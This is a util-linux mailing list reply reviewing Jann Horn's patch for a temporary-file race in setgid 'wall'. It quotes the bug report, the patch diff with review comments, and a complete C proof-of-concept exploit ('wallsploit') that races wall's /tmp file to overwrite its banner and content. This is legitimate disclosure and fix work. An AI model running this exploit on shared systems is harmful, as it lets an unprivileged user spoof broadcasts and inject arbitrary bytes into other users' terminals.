On Fri, Mar 27, 2015 at 07:27:07PM +0100, Jann Horn wrote:
> I found a (tiny) security issue in wall that an unprivileged user can use
> to suppress the banner and send arbitrary bytes (and thereby mess up other
> people's terminals with colors and stuff). Do you want to treat this as a
> security issue and keep it private until a fix is released or should I
> resend this message to util-linux@xxxxxxxxxxxxxxx?
I think we can discus it publicly, it does not seem like fatal
security issue, from my point of view it seems like security
disadvantage :-)
Note that I'm not sure how often is wall installed with setgid, for
example on Fedora only superuser can write to another terminals.
(See below for patch review.)
Karel
> wall normally runs setgid, but not setuid. This means that any file
> created by wall is accessible for the user running wall. wall writes the
> banner and filtered input from the user to a temporary file, then writes
> data from the temporary file to everyone's terminals without further
> filtering. This means that the user can bypass the filtering by writing
> to the temporary file directly.
[...]
> From 96d238cad0151a4cd271ab38d1f47a82c58dc313 Mon Sep 17 00:00:00 2001
> From: Jann Horn <jann@xxxxxxxxx>
> Date: Fri, 27 Mar 2015 19:13:09 +0100
> Subject: [PATCH] fix wall: Do not use a temporary file.
>
> The issue with using a temporary file in wall is that wall runs as setgid.
> This means that an unprivileged user who runs wall can modify wall's
> temporary files, even if those are mode 0600, so the unprivileged user can
> edit and effectively suppress the banner.
> The fix is to simply not use temporary files.
> ---
> term-utils/wall.c | 80 ++++++++++++++++++++++++++++++++-----------------------
> 1 file changed, 47 insertions(+), 33 deletions(-)
>
> diff --git a/term-utils/wall.c b/term-utils/wall.c
> index 387594c..666b4b0 100644
> --- a/term-utils/wall.c
> +++ b/term-utils/wall.c
> @@ -181,14 +181,42 @@ int main(int argc, char **argv)
> exit(EXIT_SUCCESS);
> }
>
> +static void buf_append(char *data, char **buf, size_t *size, size_t *used)
> +{
> + size_t data_len = strlen(data);
> + while (data_len > *size - *used) {
> + *size = 2 * *size;
How do you know that "2 * size" is enough for data_len?
> + *buf = xrealloc(*buf, *size + 1);
> + }
> + strcpy(*buf + *used, data);
> + *used += data_len;
> +}
> +
> +static void buf_append_careful(int c, char **buf, size_t *size, size_t *used)
> +{
> + char cbuf[10];
> +
> + if (isprint(c) || c == '\a' || c == '\t' || c == '\r' || c == '\n')
> + sprintf(cbuf, "%c", c);
> + else if (!isascii(c))
> + sprintf(cbuf, "\\%3o", (unsigned char)c);
> + else {
> + cbuf[0] = '^';
> + cbuf[1] = c ^ 0x40;
> + cbuf[2] = '\0';
> + }
> + buf_append(cbuf, buf, size, used);
> +}
> +
> static char *makemsg(char *fname, char **mvec, int mvecsz,
> size_t *mbufsize, int print_banner)
> {
> register int ch, cnt;
> - struct stat sbuf;
> - FILE *fp;
> - char *p, *lbuf, *tmpname, *mbuf;
> + char *p, *lbuf;
> long line_max;
> + char headerbuf[TERM_WIDTH + 20];
btw, we have get_terminal_width() in "ttyutils.h"
> + size_t buf_used = 0, buf_size = 1024;
> + char *buf = xmalloc(buf_size + 1);
>
> line_max = sysconf(_SC_LINE_MAX);
> if (line_max <= 0)
> @@ -196,11 +224,6 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
>
> lbuf = xmalloc(line_max);
>
> - if ((fp = xfmkstemp(&tmpname, NULL)) == NULL)
> - err(EXIT_FAILURE, _("can't open temporary file"));
if you replace xfmkstemp() with open_memstream() than you don't need
all the buf_append() changes. libc is able to use FILE as in memory
buffer for fprintf-like function :-)
> - unlink(tmpname);
> - free(tmpname);
> -
> if (print_banner == TRUE) {
> char *hostname = xgethostname();
> char *whom, *where, *date;
> @@ -233,14 +256,17 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
> */
> /* snprintf is not always available, but the sprintf's here
> will not overflow as long as %d takes at most 100 chars */
> - fprintf(fp, "\r%*s\r\n", TERM_WIDTH, " ");
> + sprintf(headerbuf, "\r%*s\r\n", TERM_WIDTH, " ");
> + buf_append(headerbuf, &buf, &buf_size, &buf_used);
> sprintf(lbuf, _("Broadcast message from %s@%s (%s) (%s):"),
> whom, hostname, where, date);
> - fprintf(fp, "%-*.*s\007\007\r\n", TERM_WIDTH, TERM_WIDTH, lbuf);
> + sprintf(headerbuf, "%-*.*s\007\007\r\n", TERM_WIDTH, TERM_WIDTH, lbuf);
it would be probably better to use
snprintf(headerbuf, sizeof(headerbuf), ....)
or use the real terminal width than sizeof().
> + buf_append(headerbuf, &buf, &buf_size, &buf_used);
> free(hostname);
> free(date);
> }
> - fprintf(fp, "%*s\r\n", TERM_WIDTH, " ");
> + sprintf(headerbuf, "%*s\r\n", TERM_WIDTH, " ");
> + buf_append(headerbuf, &buf, &buf_size, &buf_used);
>
> if (mvec) {
> /*
> @@ -249,12 +275,11 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
> int i;
>
> for (i = 0; i < mvecsz; i++) {
> - fputs(mvec[i], fp);
> + buf_append(mvec[i], &buf, &buf_size, &buf_used);
> if (i < mvecsz - 1)
> - fputc(' ', fp);
> + buf_append(" ", &buf, &buf_size, &buf_used);
> }
> - fputc('\r', fp);
> - fputc('\n', fp);
> + buf_append("\r\n", &buf, &buf_size, &buf_used);
>
> } else {
> /*
> @@ -284,33 +309,22 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
> for (cnt = 0, p = lbuf; (ch = *p) != '\0'; ++p, ++cnt) {
> if (cnt == TERM_WIDTH || ch == '\n') {
> for (; cnt < TERM_WIDTH; ++cnt)
> - putc(' ', fp);
> - putc('\r', fp);
> - putc('\n', fp);
> + buf_append(" ", &buf, &buf_size, &buf_used);
> + buf_append("\r\n", &buf, &buf_size, &buf_used);
> cnt = 0;
> }
> if (ch == '\t')
> cnt += (7 - (cnt % 8));
> if (ch != '\n')
> - fputc_careful(ch, fp, '^');
> + buf_append_careful(ch, &buf, &buf_size, &buf_used);
> }
> }
> }
> - fprintf(fp, "%*s\r\n", TERM_WIDTH, " ");
> + sprintf(headerbuf, "%*s\r\n", TERM_WIDTH, " ");
> + buf_append(headerbuf, &buf, &buf_size, &buf_used);
>
> free(lbuf);
> - rewind(fp);
> -
> - if (fstat(fileno(fp), &sbuf))
> - err(EXIT_FAILURE, _("stat failed"));
> -
> - *mbufsize = (size_t) sbuf.st_size;
> - mbuf = xmalloc(*mbufsize);
> -
> - if (fread(mbuf, 1, *mbufsize, fp) != *mbufsize)
> - err(EXIT_FAILURE, _("fread failed"));
>
> - if (close_stream(fp) != 0)
> - errx(EXIT_FAILURE, _("write error"));
> - return mbuf;
> + *mbufsize = buf_used;
> + return buf;
> }
> --
> 2.1.4
>
> #include <unistd.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <dirent.h>
> #include <fcntl.h>
> #include <signal.h>
> #include <time.h>
> #include <sys/stat.h>
> #include <sys/types.h>
>
> static long long nanotime(void) {
> struct timespec t;
> clock_gettime(CLOCK_MONOTONIC_COARSE, &t);
> return t.tv_sec * 1000000000 + t.tv_nsec;
> }
>
> int main(int argc, char **argv) {
> if (argc < 2) {
> puts("usage: ./wallsploit <path to wall>");
> return 1;
> }
> char *wallpath = argv[1];
>
> again:
> puts("trying...");
> int fds[2];
> if (pipe(fds)) return puts("pipe failed"), 1;
> pid_t child = fork();
> if (child < 0) return puts("fork failed"), 1;
> if (child == 0) {
> close(fds[1]);
> if (dup2(fds[0], 0) != 0) return puts("dup2 failed"), 1;
> close(fds[0]);
> execlp(wallpath, "wall", NULL);
> return puts("execlp failed"), 1;
> }
> close(fds[0]);
> long long end = nanotime() + 100000000;
> if (chdir("/tmp")) return puts("chdir failed"), 1;
> DIR *d = opendir(".");
> int n = 0;
> do {
> if (++n >= 1000) n = 0;
> struct dirent *dent;
> while ((dent = readdir(d))) {
> if (strncmp(dent->d_name, "wall.", 5) == 0) {
> int fd = open(dent->d_name, O_RDWR);
> if (fd >= 0) {
> puts("got fd!");
> usleep(10000);
> struct stat orig_stat, new_stat;
> if (fstat(fd, &orig_stat)) return puts("fstat"), 1;
> while (1) {
> if (write(fds[1], "\n", 1) != 1) return puts("writing padding"), 1;
> usleep(10000);
> if (fstat(fd, &new_stat)) return puts("fstat"), 1;
> if (orig_stat.st_size != new_stat.st_size) {
> puts("padding complete");
> ftruncate(fd, 0);
> char c;
> while (read(0, &c, 1) == 1) {
> if (write(fd, &c, 1) != 1) return puts("writing data"), 1;
> }
> puts("overwrite done, letting wall finish...");
> close(fds[1]);
> wait(NULL);
> return 0;
> }
> };
> }
> puts("saw dentry, but too late :(");
> }
> }
> rewinddir(d);
> } while (n == 0 || nanotime() < end);
> if (kill(child, SIGTERM)) return puts("can't kill"), 1;
> wait(NULL);
> close(fds[1]);
> goto again;
> return 0;
> }
--
Karel Zak <kzak@xxxxxxxxxx>
http://karelzak.blogspot.com
--
To unsubscribe from this list: send the line "unsubscribe util-linux" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at http://vger.kernel.org/majordomo-info.html
